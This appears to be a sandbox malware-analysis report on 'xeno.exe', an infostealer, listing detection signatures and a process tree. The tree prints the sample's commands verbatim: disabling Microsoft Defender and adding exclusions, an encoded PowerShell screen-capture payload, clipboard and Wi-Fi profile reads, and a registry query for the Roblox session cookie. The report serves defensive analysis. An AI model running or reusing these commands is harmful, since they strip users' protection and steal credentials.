Overview

overview

10

Static

static

10

xeno.exe

windows10-2004-x64

8

xeno.exe

windows11-21h2-x64

8

Analysis

  • user interaction
    yes
  • max time kernel
    269s
  • max time network
    272s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    18/04/2026, 18:12

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    xeno.exe
  • Size 10.7MB
  • Sample260418-ws6bbsdw2w
  • SHA256 cb0f31106f21e44edd3e869dd2f2081a9c3909222cd08b20ff5f77f83eaa107e
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
collectioncredential_accessdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationspywarestealerupx

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

    defense_evasion
  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

    collection
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 19 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Looks up external IP address via web service 6 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Enumerates processes with tasklist 1 TTPs 3 IoCs
    discovery
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
    defense_evasion
  • Suspicious use of NtSetInformationThreadHideFromDebugger 64 IoCs
  • UPX packed file 64 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • System Time Discovery 1 TTPs 4 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 4 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 30 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Enumerates system info in registry 2 TTPs 12 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Kills process with taskkill 11 IoCs
    defense_evasion
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry class 4 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 40 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 32 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Views/modifies file attributes 1 TTPs 1 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\xeno.exe
    "C:\Users\Admin\AppData\Local\Temp\xeno.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4992
    • C:\Users\Admin\AppData\Local\Temp\xeno.exe
      "C:\Users\Admin\AppData\Local\Temp\xeno.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1156
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\xeno.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3348
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\xeno.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2024
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4816
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:888
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\xeno.exe""
        3⤵
        • Hide Artifacts: Hidden Files and Directories
        • Suspicious use of WriteProcessMemory
        PID:2316
        • C:\Windows\system32\attrib.exe
          attrib +h +s "C:\Users\Admin\AppData\Local\Temp\xeno.exe"
          4⤵
          • Views/modifies file attributes
          PID:2264
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\     .scr'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:632
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\     .scr'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4772
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1072
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:4832
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:540
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:3608
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4380
        • C:\Windows\System32\Wbem\WMIC.exe
          WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4984
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
        3⤵
        • Clipboard Data
        • Suspicious use of WriteProcessMemory
        PID:1668
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Get-Clipboard
          4⤵
          • Clipboard Data
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2160
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4800
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:5160
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4340
        • C:\Windows\system32\tree.com
          tree /A /F
          4⤵
            PID:5388
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
          3⤵
          • System Network Configuration Discovery: Wi-Fi Discovery
          • Suspicious use of WriteProcessMemory
          PID:2804
          • C:\Windows\system32\netsh.exe
            netsh wlan show profile
            4⤵
            • Event Triggered Execution: Netsh Helper DLL
            • System Network Configuration Discovery: Wi-Fi Discovery
            PID:5644
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "systeminfo"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4128
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            4⤵
            • Gathers system information
            PID:5580
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:5284
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:6056
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\lxboqbhu\lxboqbhu.cmdline"
              5⤵
                PID:5264
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES872C.tmp" "c:\Users\Admin\AppData\Local\Temp\lxboqbhu\CSCA3DD927C774A4CEC91ECDEE87EB01E9A.TMP"
                  6⤵
                    PID:5932
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tree /A /F"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:6044
              • C:\Windows\system32\tree.com
                tree /A /F
                4⤵
                  PID:5508
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "tree /A /F"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:6120
                • C:\Windows\system32\tree.com
                  tree /A /F
                  4⤵
                    PID:5460
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:5208
                  • C:\Windows\system32\tree.com
                    tree /A /F
                    4⤵
                      PID:5528
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:5608
                    • C:\Windows\system32\tree.com
                      tree /A /F
                      4⤵
                        PID:5216
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                      3⤵
                        PID:5692
                        • C:\Windows\system32\tree.com
                          tree /A /F
                          4⤵
                            PID:5356
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "getmac"
                          3⤵
                            PID:5796
                            • C:\Windows\system32\getmac.exe
                              getmac
                              4⤵
                                PID:6096
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1936"
                              3⤵
                                PID:5252
                                • C:\Windows\system32\taskkill.exe
                                  taskkill /F /PID 1936
                                  4⤵
                                  • Kills process with taskkill
                                  PID:1888
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1036"
                                3⤵
                                  PID:5312
                                  • C:\Windows\system32\taskkill.exe
                                    taskkill /F /PID 1036
                                    4⤵
                                    • Kills process with taskkill
                                    PID:5640
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4104"
                                  3⤵
                                    PID:3400
                                    • C:\Windows\system32\taskkill.exe
                                      taskkill /F /PID 4104
                                      4⤵
                                      • Kills process with taskkill
                                      PID:2360
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4988"
                                    3⤵
                                      PID:4700
                                      • C:\Windows\system32\taskkill.exe
                                        taskkill /F /PID 4988
                                        4⤵
                                        • Kills process with taskkill
                                        PID:5292
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3100"
                                      3⤵
                                        PID:5368
                                        • C:\Windows\system32\taskkill.exe
                                          taskkill /F /PID 3100
                                          4⤵
                                          • Kills process with taskkill
                                          PID:5356
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2312"
                                        3⤵
                                          PID:5964
                                          • C:\Windows\system32\taskkill.exe
                                            taskkill /F /PID 2312
                                            4⤵
                                            • Kills process with taskkill
                                            PID:2152
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1784"
                                          3⤵
                                            PID:5580
                                            • C:\Windows\system32\taskkill.exe
                                              taskkill /F /PID 1784
                                              4⤵
                                              • Kills process with taskkill
                                              PID:5012
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2748"
                                            3⤵
                                              PID:3840
                                              • C:\Windows\system32\taskkill.exe
                                                taskkill /F /PID 2748
                                                4⤵
                                                • Kills process with taskkill
                                                PID:5232
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2032"
                                              3⤵
                                                PID:5504
                                                • C:\Windows\system32\taskkill.exe
                                                  taskkill /F /PID 2032
                                                  4⤵
                                                  • Kills process with taskkill
                                                  PID:5204
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2788"
                                                3⤵
                                                  PID:5840
                                                  • C:\Windows\system32\taskkill.exe
                                                    taskkill /F /PID 2788
                                                    4⤵
                                                    • Kills process with taskkill
                                                    PID:1076
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4540"
                                                  3⤵
                                                    PID:2088
                                                    • C:\Windows\system32\taskkill.exe
                                                      taskkill /F /PID 4540
                                                      4⤵
                                                      • Kills process with taskkill
                                                      PID:2992
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                    3⤵
                                                      PID:3116
                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                        4⤵
                                                        • Command and Scripting Interpreter: PowerShell
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        PID:5620
                                                    • C:\Windows\system32\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                      3⤵
                                                        PID:3516
                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
